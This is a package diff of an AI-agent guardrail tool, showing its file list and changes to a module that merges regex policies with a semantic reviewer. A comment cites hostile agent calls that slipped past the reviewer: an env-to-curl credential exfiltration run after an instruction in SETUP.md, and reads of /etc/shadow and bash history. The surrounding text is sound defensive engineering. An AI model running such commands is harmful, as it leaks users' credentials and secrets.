failproofai 1.0.7-beta.2 → 1.0.8-beta.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (225) hide show
  1. package/.next/standalone/.next/BUILD_ID +1 -1
  2. package/.next/standalone/.next/build-manifest.json +3 -3
  3. package/.next/standalone/.next/prerender-manifest.json +3 -3
  4. package/.next/standalone/.next/required-server-files.json +1 -1
  5. package/.next/standalone/.next/server/app/_global-error/page/server-reference-manifest.json +1 -1
  6. package/.next/standalone/.next/server/app/_global-error/page.js.nft.json +1 -1
  7. package/.next/standalone/.next/server/app/_global-error/page_client-reference-manifest.js +1 -1
  8. package/.next/standalone/.next/server/app/_global-error.html +1 -1
  9. package/.next/standalone/.next/server/app/_global-error.rsc +7 -7
  10. package/.next/standalone/.next/server/app/_global-error.segments/__PAGE__.segment.rsc +6 -6
  11. package/.next/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +7 -7
  12. package/.next/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
  13. package/.next/standalone/.next/server/app/_not-found/page/server-reference-manifest.json +1 -1
  14. package/.next/standalone/.next/server/app/_not-found/page.js.nft.json +1 -1
  15. package/.next/standalone/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
  16. package/.next/standalone/.next/server/app/_not-found.html +1 -1
  17. package/.next/standalone/.next/server/app/_not-found.rsc +15 -15
  18. package/.next/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +15 -15
  19. package/.next/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +14 -14
  20. package/.next/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +2 -2
  21. package/.next/standalone/.next/server/app/api/audit/invite/route.js.nft.json +1 -1
  22. package/.next/standalone/.next/server/app/api/audit/run/route.js +5 -5
  23. package/.next/standalone/.next/server/app/api/audit/run/route.js.nft.json +1 -1
  24. package/.next/standalone/.next/server/app/api/audit/status/route.js.nft.json +1 -1
  25. package/.next/standalone/.next/server/app/api/auth/login-request/route.js.nft.json +1 -1
  26. package/.next/standalone/.next/server/app/api/auth/login-verify/route.js.nft.json +1 -1
  27. package/.next/standalone/.next/server/app/api/auth/logout/route.js.nft.json +1 -1
  28. package/.next/standalone/.next/server/app/api/auth/status/route.js.nft.json +1 -1
  29. package/.next/standalone/.next/server/app/api/download/[project]/[session]/route.js.nft.json +1 -1
  30. package/.next/standalone/.next/server/app/audit/page/server-reference-manifest.json +2 -2
  31. package/.next/standalone/.next/server/app/audit/page.js +4 -4
  32. package/.next/standalone/.next/server/app/audit/page.js.nft.json +1 -1
  33. package/.next/standalone/.next/server/app/audit/page_client-reference-manifest.js +1 -1
  34. package/.next/standalone/.next/server/app/index.html +1 -1
  35. package/.next/standalone/.next/server/app/index.rsc +15 -15
  36. package/.next/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +14 -14
  37. package/.next/standalone/.next/server/app/index.segments/_full.segment.rsc +15 -15
  38. package/.next/standalone/.next/server/app/index.segments/_tree.segment.rsc +2 -2
  39. package/.next/standalone/.next/server/app/page/server-reference-manifest.json +1 -1
  40. package/.next/standalone/.next/server/app/page.js.nft.json +1 -1
  41. package/.next/standalone/.next/server/app/page_client-reference-manifest.js +1 -1
  42. package/.next/standalone/.next/server/app/policies/page/server-reference-manifest.json +14 -14
  43. package/.next/standalone/.next/server/app/policies/page.js +6 -7
  44. package/.next/standalone/.next/server/app/policies/page.js.nft.json +1 -1
  45. package/.next/standalone/.next/server/app/policies/page_client-reference-manifest.js +1 -1
  46. package/.next/standalone/.next/server/app/project/[name]/page/server-reference-manifest.json +1 -1
  47. package/.next/standalone/.next/server/app/project/[name]/page.js.nft.json +1 -1
  48. package/.next/standalone/.next/server/app/project/[name]/page_client-reference-manifest.js +1 -1
  49. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/react-loadable-manifest.json +2 -2
  50. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/server-reference-manifest.json +2 -2
  51. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js +2 -2
  52. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js.nft.json +1 -1
  53. package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page_client-reference-manifest.js +1 -1
  54. package/.next/standalone/.next/server/app/projects/page/server-reference-manifest.json +1 -1
  55. package/.next/standalone/.next/server/app/projects/page.js.nft.json +1 -1
  56. package/.next/standalone/.next/server/app/projects/page_client-reference-manifest.js +1 -1
  57. package/.next/standalone/.next/server/app/settings/page/server-reference-manifest.json +18 -7
  58. package/.next/standalone/.next/server/app/settings/page.js +9 -7
  59. package/.next/standalone/.next/server/app/settings/page.js.nft.json +1 -1
  60. package/.next/standalone/.next/server/app/settings/page_client-reference-manifest.js +1 -1
  61. package/.next/standalone/.next/server/chunks/{[externals]__1j-zsg5._.js → [externals]__20kzpkf._.js} +1 -1
  62. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0l3yhx4._.js +2 -2
  63. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0o07qi9._.js +1 -1
  64. package/.next/standalone/.next/server/chunks/[root-of-the-server]__1ttrwnd._.js +22 -0
  65. package/.next/standalone/.next/server/chunks/_09dz7xv._.js +20 -20
  66. package/.next/standalone/.next/server/chunks/_0tovk6q._.js +1 -1
  67. package/.next/standalone/.next/server/chunks/_0trp3yc._.js +1 -1
  68. package/.next/standalone/.next/server/chunks/_1ek68ln._.js +9 -9
  69. package/.next/standalone/.next/server/chunks/_1q5i8mb._.js +1 -1
  70. package/.next/standalone/.next/server/chunks/lib_16xa545._.js +3 -0
  71. package/.next/standalone/.next/server/chunks/package_json_[json]_cjs_1nxcc4v._.js +1 -1
  72. package/.next/standalone/.next/server/chunks/src_hooks_1aveq0u._.js +5 -0
  73. package/.next/standalone/.next/server/chunks/src_hooks_1eem5a7._.js +3 -0
  74. package/.next/standalone/.next/server/chunks/src_hooks_custom-hooks-loader_ts_0lnb3n3._.js +2 -2
  75. package/.next/standalone/.next/server/chunks/ssr/[externals]__0ohnuzs._.js +3 -0
  76. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__04usis8._.js +2 -2
  77. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__056wjo4._.js +2 -2
  78. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0qxnccm._.js → [root-of-the-server]__06pflha._.js} +2 -4
  79. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0n0xg95._.js +2 -2
  80. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0rwtwpm._.js +2 -2
  81. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__11mayhe._.js +2 -2
  82. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0soxz2z._.js → [root-of-the-server]__12e7nhs._.js} +2 -2
  83. package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0l44ual._.js → [root-of-the-server]__14o3ek1._.js} +2 -2
  84. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__15578wp._.js +4 -0
  85. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__19evfi8._.js +3 -0
  86. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1m_svbe._.js +4 -0
  87. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1pprgri._.js +2 -2
  88. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1q4p5b8._.js +2 -2
  89. package/.next/standalone/.next/server/chunks/ssr/_042cgl1._.js +1 -1
  90. package/.next/standalone/.next/server/chunks/ssr/_08x1r5t._.js +1 -1
  91. package/.next/standalone/.next/server/chunks/ssr/_0bqoto4._.js +1 -1
  92. package/.next/standalone/.next/server/chunks/ssr/{_1v-jvrv._.js → _0o4xkpl._.js} +1 -1
  93. package/.next/standalone/.next/server/chunks/ssr/{_1mel6y1._.js → _1-7sqrb._.js} +2 -2
  94. package/.next/standalone/.next/server/chunks/ssr/_1gb0ifp._.js +1 -1
  95. package/.next/standalone/.next/server/chunks/ssr/_1zopuov._.js +1 -1
  96. package/.next/standalone/.next/server/chunks/ssr/_next-internal_server_app_policies_page_actions_1sp2-yo.js +13 -13
  97. package/.next/standalone/.next/server/chunks/ssr/app_actions_get-scheduled-audit_ts_0ei9sni._.js +1 -1
  98. package/.next/standalone/.next/server/chunks/ssr/app_audit__components_audit-dashboard_tsx_0p9ud47._.js +1 -1
  99. package/.next/standalone/.next/server/chunks/ssr/app_global-error_tsx_1kp6l3x._.js +1 -1
  100. package/.next/standalone/.next/server/chunks/ssr/app_policies_hooks-client_tsx_19dqvpc._.js +1 -1
  101. package/.next/standalone/.next/server/chunks/ssr/app_settings_02tf1h4._.js +1 -1
  102. package/.next/standalone/.next/server/chunks/ssr/node_modules_next_0aiy-os._.js +1 -1
  103. package/.next/standalone/.next/server/chunks/ssr/src_hooks_0-q0umm._.js +3 -0
  104. package/.next/standalone/.next/server/chunks/ssr/src_hooks_06kzv9d._.js +12 -0
  105. package/.next/standalone/.next/server/chunks/ssr/src_hooks_0g194sy._.js +3 -0
  106. package/.next/standalone/.next/server/chunks/ssr/src_hooks_1cv9_c4._.js +12 -0
  107. package/.next/standalone/.next/server/chunks/ssr/src_hooks_1kx9e0d._.js +3 -0
  108. package/.next/standalone/.next/server/chunks/ssr/src_hooks_effective-reviewers_ts_1h4wtvo._.js +5 -0
  109. package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-config_ts_04t589g._.js +1 -1
  110. package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-home_ts_0je3xkv._.js +1 -1
  111. package/.next/standalone/.next/server/chunks/ssr/src_hooks_pack-cli_ts_0t7me65._.js +1 -1
  112. package/.next/standalone/.next/server/chunks/ssr/src_hooks_semantic_pack-policies_ts_0gh_bu_._.js +3 -0
  113. package/.next/standalone/.next/server/middleware-build-manifest.js +3 -3
  114. package/.next/standalone/.next/server/pages/404.html +1 -1
  115. package/.next/standalone/.next/server/pages/500.html +1 -1
  116. package/.next/standalone/.next/server/server-reference-manifest.js +1 -1
  117. package/.next/standalone/.next/server/server-reference-manifest.json +33 -22
  118. package/.next/standalone/.next/static/chunks/078gnymqoh3r4.js +1 -0
  119. package/.next/standalone/.next/static/chunks/{3brze37td_wnc.js → 0ahfwmbkpgfw4.js} +1 -1
  120. package/.next/standalone/.next/static/chunks/{043j99m8ykg__.css → 0bhidk90e-07f.css} +1 -1
  121. package/.next/standalone/.next/static/chunks/1bu2-nv59ed6i.js +1 -0
  122. package/.next/standalone/.next/static/chunks/{3ugmd_7dyn0id.js → 1v_tp3hm8wyhe.js} +1 -1
  123. package/.next/standalone/.next/static/chunks/2a405_e1o26ol.js +1 -0
  124. package/.next/standalone/.next/static/chunks/{3yxro_r2_o9ad.js → 2vo7qbdbvnc0o.js} +1 -1
  125. package/.next/standalone/.next/static/chunks/{0fqd7m_u81mi5.js → 2z7i-yg59w4pn.js} +1 -1
  126. package/.next/standalone/.next/static/chunks/36uhh9el_oz8e.js +1 -0
  127. package/.next/standalone/.next/static/chunks/{129ag2bw93bdh.js → 3bgot5v6f6s3c.js} +1 -1
  128. package/.next/standalone/.next/static/chunks/{3otmypm6j_xfo.js → 3o3f1ibfci0p7.js} +2 -2
  129. package/.next/standalone/SECURITY.md +53 -0
  130. package/.next/standalone/app/actions/get-jev-config.ts +194 -14
  131. package/.next/standalone/app/actions/update-jev-config.ts +160 -11
  132. package/.next/standalone/app/policies/hooks-client.tsx +5 -3
  133. package/.next/standalone/app/settings/jev-panel.tsx +169 -12
  134. package/.next/standalone/fp-cloud-cli/CHANGELOG.md +22 -4
  135. package/.next/standalone/fp-cloud-cli/fp_cli/client.py +14 -1
  136. package/.next/standalone/fp-cloud-cli/fp_cli/commands/keys_cmds.py +17 -3
  137. package/.next/standalone/fp-cloud-cli/fp_cli/commands/policies_cmds.py +3 -0
  138. package/.next/standalone/fp-cloud-cli/fp_cli/permissions.py +22 -0
  139. package/.next/standalone/fp-cloud-cli/fp_cli/policy_check.py +169 -0
  140. package/.next/standalone/fp-cloud-cli/skill/references/commands.md +1 -1
  141. package/.next/standalone/fp-cloud-cli/tests/test_keys_queries.py +65 -0
  142. package/.next/standalone/fp-cloud-cli/tests/test_policy_check.py +61 -0
  143. package/.next/standalone/package.json +9 -9
  144. package/.next/standalone/sdk/python/CHANGELOG.md +7 -0
  145. package/.next/standalone/sdk/python/failproofai_sdk/_version.py +1 -1
  146. package/.next/standalone/sdk/typescript/CHANGELOG.md +15 -1
  147. package/.next/standalone/sdk/typescript/integration/fixtures/ai-4/package-lock.json +10 -30
  148. package/.next/standalone/sdk/typescript/integration/fixtures/ai-4/package.json +3 -0
  149. package/.next/standalone/sdk/typescript/integration/fixtures/ai-5/package-lock.json +4 -16
  150. package/.next/standalone/sdk/typescript/integration/fixtures/ai-5/package.json +3 -0
  151. package/.next/standalone/sdk/typescript/integration/fixtures/langchain-0.3/package-lock.json +13 -132
  152. package/.next/standalone/sdk/typescript/integration/fixtures/langchain-0.3/package.json +4 -0
  153. package/.next/standalone/sdk/typescript/integration/fixtures/langchain-dup-core/package-lock.json +4 -142
  154. package/.next/standalone/sdk/typescript/integration/fixtures/langchain-dup-core/package.json +4 -0
  155. package/.next/standalone/sdk/typescript/integration/fixtures/mastra-0/package-lock.json +1396 -1016
  156. package/.next/standalone/sdk/typescript/integration/fixtures/mastra-0/package.json +9 -0
  157. package/.next/standalone/sdk/typescript/scripts/release.mjs +30 -0
  158. package/.next/standalone/server.js +1 -1
  159. package/README.md +1 -0
  160. package/bin/failproofai.mjs +37 -6
  161. package/dist/cli.mjs +2861 -1145
  162. package/dist/worker.mjs +815 -197
  163. package/package.json +9 -9
  164. package/src/hooks/builtin-policies.ts +24 -6
  165. package/src/hooks/cloud-connection.ts +190 -1
  166. package/src/hooks/cloud-enrollment-cli.ts +56 -7
  167. package/src/hooks/cloud-introspect.ts +6 -0
  168. package/src/hooks/configure-wizard.ts +26 -6
  169. package/src/hooks/custom-hooks-loader.ts +58 -8
  170. package/src/hooks/effective-reviewers.ts +172 -8
  171. package/src/hooks/flush-cli.ts +35 -8
  172. package/src/hooks/fp-config.ts +266 -1
  173. package/src/hooks/fp-reset.ts +22 -4
  174. package/src/hooks/handler.ts +44 -7
  175. package/src/hooks/hook-activity-store.ts +13 -5
  176. package/src/hooks/jev-cli.ts +1009 -86
  177. package/src/hooks/jev-cloud-connection.ts +392 -0
  178. package/src/hooks/manager.ts +44 -6
  179. package/src/hooks/pack-cli.ts +175 -37
  180. package/src/hooks/pack-failclosed.ts +3 -0
  181. package/src/hooks/pack-manifest.ts +11 -1
  182. package/src/hooks/pack-store.ts +47 -10
  183. package/src/hooks/policy-authority.ts +73 -20
  184. package/src/hooks/policy-catalog.ts +10 -8
  185. package/src/hooks/policy-evaluator.ts +31 -8
  186. package/src/hooks/policy-registry.ts +3 -2
  187. package/src/hooks/policy-reviewability.ts +41 -12
  188. package/src/hooks/policy-types.ts +5 -3
  189. package/src/hooks/semantic/combine.ts +124 -84
  190. package/src/hooks/semantic/decide.ts +16 -0
  191. package/src/hooks/semantic/envelope.ts +18 -59
  192. package/src/hooks/semantic/evaluator.ts +11 -2
  193. package/src/hooks/semantic/facts.ts +7 -1
  194. package/src/hooks/semantic/intent.ts +8 -8
  195. package/src/hooks/semantic/jev-client.ts +540 -28
  196. package/src/hooks/semantic/jev-config.ts +586 -38
  197. package/src/hooks/semantic/jev-review.ts +26 -11
  198. package/src/hooks/semantic/jev-throttle.ts +8 -2
  199. package/src/hooks/semantic/pack-policies.ts +58 -15
  200. package/src/hooks/semantic/policies.ts +4 -3
  201. package/src/hooks/semantic/redact.ts +28 -1
  202. package/src/hooks/semantic/session-root.ts +116 -0
  203. package/src/hooks/semantic/types.ts +11 -0
  204. package/src/hooks/tui.ts +4 -0
  205. package/src/hooks/worker-server.ts +2 -1
  206. package/.next/standalone/.next/server/chunks/[root-of-the-server]__0cuho4x._.js +0 -3
  207. package/.next/standalone/.next/server/chunks/[root-of-the-server]__1bf34x4._.js +0 -22
  208. package/.next/standalone/.next/server/chunks/src_hooks_01frwmb._.js +0 -5
  209. package/.next/standalone/.next/server/chunks/src_hooks_18qtd42._.js +0 -3
  210. package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0s_yomn._.js +0 -4
  211. package/.next/standalone/.next/server/chunks/ssr/_1feuvhb._.js +0 -5
  212. package/.next/standalone/.next/server/chunks/ssr/_1w_5l7t._.js +0 -3
  213. package/.next/standalone/.next/server/chunks/ssr/src_hooks_095a_79._.js +0 -5
  214. package/.next/standalone/.next/server/chunks/ssr/src_hooks_15t8kqj._.js +0 -3
  215. package/.next/standalone/.next/server/chunks/ssr/src_hooks_18k8rl0._.js +0 -12
  216. package/.next/standalone/.next/server/chunks/ssr/src_hooks_1fm2w5z._.js +0 -3
  217. package/.next/standalone/.next/server/chunks/ssr/src_hooks_1j0zy3v._.js +0 -3
  218. package/.next/standalone/.next/server/chunks/ssr/src_hooks_builtin-policies_ts_09j2ndl._.js +0 -3
  219. package/.next/standalone/.next/static/chunks/1qd741hzlmjbo.js +0 -1
  220. package/.next/standalone/.next/static/chunks/2_pltstd8-xgs.js +0 -1
  221. package/.next/standalone/.next/static/chunks/2c8j9l6j_b1ci.js +0 -1
  222. package/.next/standalone/.next/static/chunks/3-k569wzcli8q.js +0 -1
  223. /package/.next/standalone/.next/static/{gbEOjBgZAxF2UIUwZVHNu → O_b5R1axf5cb4NxIXq2kS}/_buildManifest.js +0 -0
  224. /package/.next/standalone/.next/static/{gbEOjBgZAxF2UIUwZVHNu → O_b5R1axf5cb4NxIXq2kS}/_clientMiddlewareManifest.js +0 -0
  225. /package/.next/standalone/.next/static/{gbEOjBgZAxF2UIUwZVHNu → O_b5R1axf5cb4NxIXq2kS}/_ssgManifest.js +0 -0
@@ -62,54 +62,38 @@
62
62
  *
63
63
  * "Jev can only clear what it was actually asked about": a reviewable
64
64
  * policy's deny or instruct is cleared only if EVERY semantic policy named in
65
- * its `reviewedBy` was among the ones put to Jev for this call AND did not
66
- * come back `deny` — that is, it answered `none`, `overridden` or `instruct`.
67
- * A name Jev was not asked about — its precondition was false, the tool class
68
- * did not apply, the name is misspelled — keeps the regex verdict standing.
69
- *
70
- * ## A warning-level answer clears the deny, and leaves the warning
71
- *
72
- * The rule above is the one thing about this module that was chosen on
73
- * measured numbers rather than argued from first principles, so this is what
74
- * it decides and what it deliberately does not.
75
- *
76
- * An `instruct` answer means the named check looked at the call, found the
77
- * thing the regex policy is worried about, and judged it worth a WARNING —
78
- * not a block. Counting that as "not cleared" left the regex DENY standing,
79
- * which threw the distinction away: the agent was stopped by a string match
80
- * on exactly the calls where the check that was supposed to review it had
81
- * already said "warn, do not stop". Over the 1,332 labelled cases that was
82
- * the single largest remaining group of false blocks. Measured on this
83
- * commit, over recorded provider answers for all 1,332 (the live Cloudflare
84
- * run they were recorded from reproduces case for case under the previous
85
- * rule): real work blocked 13.9% → 8.7% — 12.5% → 7.3% leaving out the
86
- * always-on self-protection guard, which is hard and unclearable — against
87
- * 33.3% for the regex tier alone, attacks blocked 134 → 132 of 234, exact
88
- * agreement with the labels 70.6% → 70.8%. The live run on which the rule was
89
- * chosen put the same four at 14.3% → 8.9%, 129 → 127, 70.6% → 70.8%; the few
90
- * cases between the two are drift in what gets ASKED since the answers were
91
- * recorded, not in this rule.
92
- *
93
- * All 54 calls the change moves go deny → warning. None goes to allow, and
94
- * neither the regex tier's floor nor any hard policy moves at all.
95
- *
96
- * Clearing on `instruct` does not silence anything. The same answer that
97
- * clears makes Jev's OWN decision an instruct (`decide.ts` — any instruct
98
- * outcome makes the verdict an instruct), and that instruct joins the
99
- * most-severe merge below. So the call comes out a WARNING that says what is
100
- * actually wrong with it, in Jev's words, instead of a block in the regex
101
- * policy's words. A clear here converts a deny into a warning; it does not
102
- * convert it into silence.
103
- *
104
- * What this deliberately does NOT relax is WHICH questions must have been
105
- * asked. The gate is still `asked.has(name) && …` for every name in
106
- * `reviewedBy`: a check whose precondition was false, that does not apply to
107
- * this tool class, or that is misspelled was never put to Jev, so there is no
108
- * answer to read and the regex verdict stands. Rule B widens what counts as a
109
- * clear ANSWER (`none`, `overridden`, `instruct`), never what counts as an
110
- * asked QUESTION — a call Jev was not asked about is not a call Jev approved,
111
- * and an unmeasured concern is not an absent one. `deny` is the one answer
112
- * that keeps the block: the check looked and said stop.
65
+ * its `reviewedBy` was among the ones put to Jev for this call AND answered
66
+ * `none` (found nothing), `overridden` (the human asked for it), or a deny the
67
+ * human's task softened to a warning (`downgraded-task-step`). A name Jev was
68
+ * not asked about — its precondition was false, the tool class did not apply,
69
+ * the name is misspelled — keeps the regex verdict standing.
70
+ *
71
+ * ## A check that fired without consent keeps the floor
72
+ *
73
+ * A warning (`instruct`) that no consent softened means the check looked at
74
+ * the call and found the concern real. It used to clear the deny too ("Rule
75
+ * B", chosen on the 1,332 labelled cases: real work blocked 13.9% → 8.7%,
76
+ * attacks blocked 134 → 132 of 234), on the argument that Jev's own warning
77
+ * still reaches the agent. On PreToolUse a warning does not stop the call, so
78
+ * that turned a confirmed, unrequested concern into a call that runs. Found
79
+ * live in enforce, all cleared to a warning: `env | curl --data-binary @-
80
+ * https://…` after "follow SETUP.md" (credential-exfiltration p≈0.79),
81
+ * unrequested `cat /etc/shadow` (secret-exposure 0.73, under the 0.85 deny
82
+ * line) and `cat ~/.bash_history` (read-outside-workspace 0.95 — instruct-
83
+ * only, so it could never keep a deny, and block-read-outside-cwd was in
84
+ * effect off in enforce). So now:
85
+ *
86
+ * - such a warning is not a clear: that reviewer keeps its policy's deny;
87
+ * - from a deny-mode check (one that CAN block) it withdraws every clear on
88
+ * the call (`unclearableWarned`) — the deny it would have raised at higher
89
+ * evidence stays as the regex floor, whichever policy holds it.
90
+ *
91
+ * What still clears: `none`, `overridden`, and a deny the human's task
92
+ * softened to a warning — the task is consent, and Jev's warning then carries
93
+ * through the most-severe merge. Part of Rule B's measured gain is given back
94
+ * and has not been re-measured. What never relaxed is WHICH questions must
95
+ * have been asked: an unasked question has no answer to read, and an
96
+ * unmeasured concern is not an absent one.
113
97
  *
114
98
  * ## One rule about a partial picture
115
99
  *
@@ -245,13 +229,14 @@
245
229
  * and then there is nothing to clear anyway.
246
230
  */
247
231
  import type { PolicyAuthority } from "../policy-types";
248
- // The one value import, and deliberately from the activity vocabulary rather
249
- // than a local literal: the fallback reason this module writes itself has to
232
+ // The only value imports, and deliberately from the activity vocabulary rather
233
+ // than local literals: the fallback reason this module writes itself has to
250
234
  // be a code the activity store's closed list names, or it is stored and
251
- // shipped as `other`. Importing the constant makes a rename a compile error
252
- // here. `jev-activity.ts` is pure (no node imports, no semantic modules), so
253
- // this costs the hook path nothing.
254
- import { JEV_REASON_REQUEST_CUT } from "../jev-activity";
235
+ // shipped as `other`, and a shadow verdict's model id has to pass the same
236
+ // shape check the row's own `jevModel` does. Importing them makes a rename a
237
+ // compile error here. `jev-activity.ts` is pure (no node imports, no semantic
238
+ // modules), so this costs the hook path nothing.
239
+ import { JEV_MODEL_RE, JEV_REASON_REQUEST_CUT } from "../jev-activity";
255
240
 
256
241
  export type Decision = "allow" | "deny" | "instruct";
257
242
  export type JevMode = "shadow" | "enforce";
@@ -298,16 +283,15 @@ export type JevReview =
298
283
  reason: string | null;
299
284
  /** Attribution for Jev's own deny/instruct, e.g. `semantic/destructive-deletion`. */
300
285
  policyName: string;
286
+ /** The pack that declared `policyName`'s check, when a pack did. */
287
+ origin?: { packId: string; packVersion?: string };
301
288
  /** Semantic policies whose questions were in the request that was answered. */
302
289
  asked: readonly string[];
303
290
  /**
304
- * Of `asked`, the ones whose outcome was not `deny` — `none`,
305
- * `overridden` or `instruct`. Those are the answers that let a
306
- * reviewable regex verdict be cleared; see "A warning-level answer
307
- * clears the deny, and leaves the warning" above. Named for what it
308
- * holds rather than for what it is used for, because "clear" once meant
309
- * `none`/`overridden` only and a silent widening of that set is exactly
310
- * the mistake this name prevents.
291
+ * Of `asked`, the ones whose answer lets a reviewable regex verdict be
292
+ * cleared: `none`, `overridden`, or a deny the human's task softened to
293
+ * an instruct. Neither a `deny` nor a warning nobody consented to is in
294
+ * it; see "A check that fired without consent keeps the floor" above.
311
295
  */
312
296
  notDenied: readonly string[];
313
297
  /**
@@ -317,6 +301,12 @@ export type JevReview =
317
301
  injectionAsked: boolean;
318
302
  /** The injection probe held: every clear is withdrawn. */
319
303
  injected: boolean;
304
+ /**
305
+ * A deny-mode check fired at WARNING level and no consent softened it:
306
+ * every clear is withdrawn. See "A check that fired without consent
307
+ * keeps the floor" above. Absent reads as false.
308
+ */
309
+ unclearableWarned?: boolean;
320
310
  /**
321
311
  * Something did not fit: a human turn, the agent's last message, or what
322
312
  * the intent store had already capped (`SemanticOutcome.truncated`).
@@ -392,6 +382,23 @@ export interface JevActivityFields {
392
382
  jevMode: JevMode;
393
383
  }
394
384
 
385
+ /**
386
+ * Jev's own deny or instruct in SHADOW mode — the verdict enforce mode would
387
+ * have applied, recorded rather than applied. The handler files it in the
388
+ * activity row's `observed` list, the "would have" record observe-mode cloud
389
+ * and pack policies already use, so FailproofAI Cloud's policy page counts it
390
+ * with no change on its side.
391
+ */
392
+ export interface ShadowVerdict {
393
+ /** `semantic/<check>` — the name enforce mode would have attributed it to. */
394
+ policyName: string;
395
+ decision: "deny" | "instruct";
396
+ /** The same fixed template reason enforce mode would have shown. */
397
+ reason: string;
398
+ /** The Jev model id that answered, or `jev` when it named none this build can store. */
399
+ version: string;
400
+ }
401
+
395
402
  export interface CombineOutcome {
396
403
  final: FinalVerdict;
397
404
  /** Reviewable regex policies Jev cleared (in shadow: would have cleared). */
@@ -406,6 +413,12 @@ export interface CombineOutcome {
406
413
  */
407
414
  decidedByJev: boolean;
408
415
  activity: JevActivityFields;
416
+ /**
417
+ * Shadow mode only, and only when Jev's own verdict was deny or instruct.
418
+ * Absent otherwise — including every enforce outcome, where the verdict was
419
+ * APPLIED and `decidedByJev` / the final entries already say so.
420
+ */
421
+ shadowVerdict?: ShadowVerdict;
409
422
  }
410
423
 
411
424
  /**
@@ -433,13 +446,10 @@ export function regexOnly(verdicts: readonly RegexVerdict[]): FinalVerdict {
433
446
  *
434
447
  * The rule, exactly: a REVIEWABLE deny or instruct that names at least one
435
448
  * reviewer is cleared when EVERY name in its `reviewedBy` was ASKED on this
436
- * call AND did not answer `deny` (`none`, `overridden` or `instruct` — see "A
437
- * warning-level answer clears the deny, and leaves the warning" above).
438
- *
439
- * The two halves are not interchangeable, and only the second was relaxed:
440
- * a name that was never asked still blocks the clear, whatever the others
441
- * said, because an unasked question has no answer to read. A `hard` verdict
442
- * and a reviewable one naming nobody are never cleared at all.
449
+ * call AND is in `notDenied` (see "A check that fired without consent keeps
450
+ * the floor" above). A name that was never asked blocks the clear, whatever
451
+ * the others said, because an unasked question has no answer to read. A
452
+ * `hard` verdict and a reviewable one naming nobody are never cleared at all.
443
453
  */
444
454
  function clears(v: RegexVerdict, asked: ReadonlySet<string>, notDenied: ReadonlySet<string>): boolean {
445
455
  if (v.decision === "allow" || v.authority !== "reviewable") return false;
@@ -483,7 +493,13 @@ export function combineTwoTier(
483
493
  const wholePicture = review.injectionAsked && !review.injected && !review.requestCut;
484
494
  const asked = new Set(review.asked);
485
495
  const notDenied = new Set(review.notDenied);
486
- const cleared = wholePicture ? verdicts.filter((v) => clears(v, asked, notDenied)).map((v) => v.policyName) : [];
496
+ const cleared = wholePicture && !review.unclearableWarned ? verdicts.filter((v) => clears(v, asked, notDenied)).map((v) => v.policyName) : [];
497
+
498
+ // Built once, for both modes: enforce applies it, shadow records it, and the
499
+ // two must never disagree about what the verdict WAS.
500
+ const jevEntry = { policyName: review.policyName, reason: review.reason ?? `Flagged by semantic review (${review.policyName})` };
501
+ const enforced = resolveEnforce(verdicts, cleared, review.decision, jevEntry);
502
+
487
503
  const activity: JevActivityFields = {
488
504
  // §4 records a call the tier could not read whole as a fallback, and so do
489
505
  // we — its clearing half really was off. The decision below is still
@@ -494,30 +510,59 @@ export function combineTwoTier(
494
510
  evaluator: review.requestCut ? "jev-fallback" : "jev",
495
511
  ...(review.requestCut ? { jevFallbackReason: JEV_REASON_REQUEST_CUT } : {}),
496
512
  jevDecision: review.decision,
497
- ...(cleared.length > 0 ? { jevCleared: cleared } : {}),
513
+ // Only a clear that SOFTENED the call (in shadow: would have). One that
514
+ // Jev's own deny, or another regex deny, still decided over changed
515
+ // nothing — and `jev status` and the policy page's "Cleared by Jev" both
516
+ // read `jevCleared` as calls Jev let through.
517
+ ...(cleared.length > 0 && RANK[enforced.final.decision] < RANK[legacy.decision] ? { jevCleared: cleared } : {}),
498
518
  ...(review.latencyMs !== null ? { jevLatencyMs: review.latencyMs } : {}),
499
519
  ...(review.model ? { jevModel: review.model } : {}),
500
520
  jevMode: mode,
501
521
  };
502
522
 
503
- if (mode === "shadow") return { final: legacy, cleared, decidedByJev: false, activity };
523
+ if (mode === "shadow") {
524
+ // Jev's own deny or instruct, exactly as enforce mode would have applied it
525
+ // (upward only: a cut or injected call keeps it, as the enforce branch
526
+ // below does). A clear is recorded in `jevCleared`, not here.
527
+ const shadowVerdict: ShadowVerdict | undefined =
528
+ review.decision === "deny" || review.decision === "instruct"
529
+ ? {
530
+ policyName: jevEntry.policyName,
531
+ decision: review.decision,
532
+ reason: jevEntry.reason,
533
+ // The model id is shape-checked like the row's own `jevModel`, so
534
+ // this list can carry nothing the activity store would not.
535
+ version: review.model && JEV_MODEL_RE.test(review.model) ? review.model : "jev",
536
+ }
537
+ : undefined;
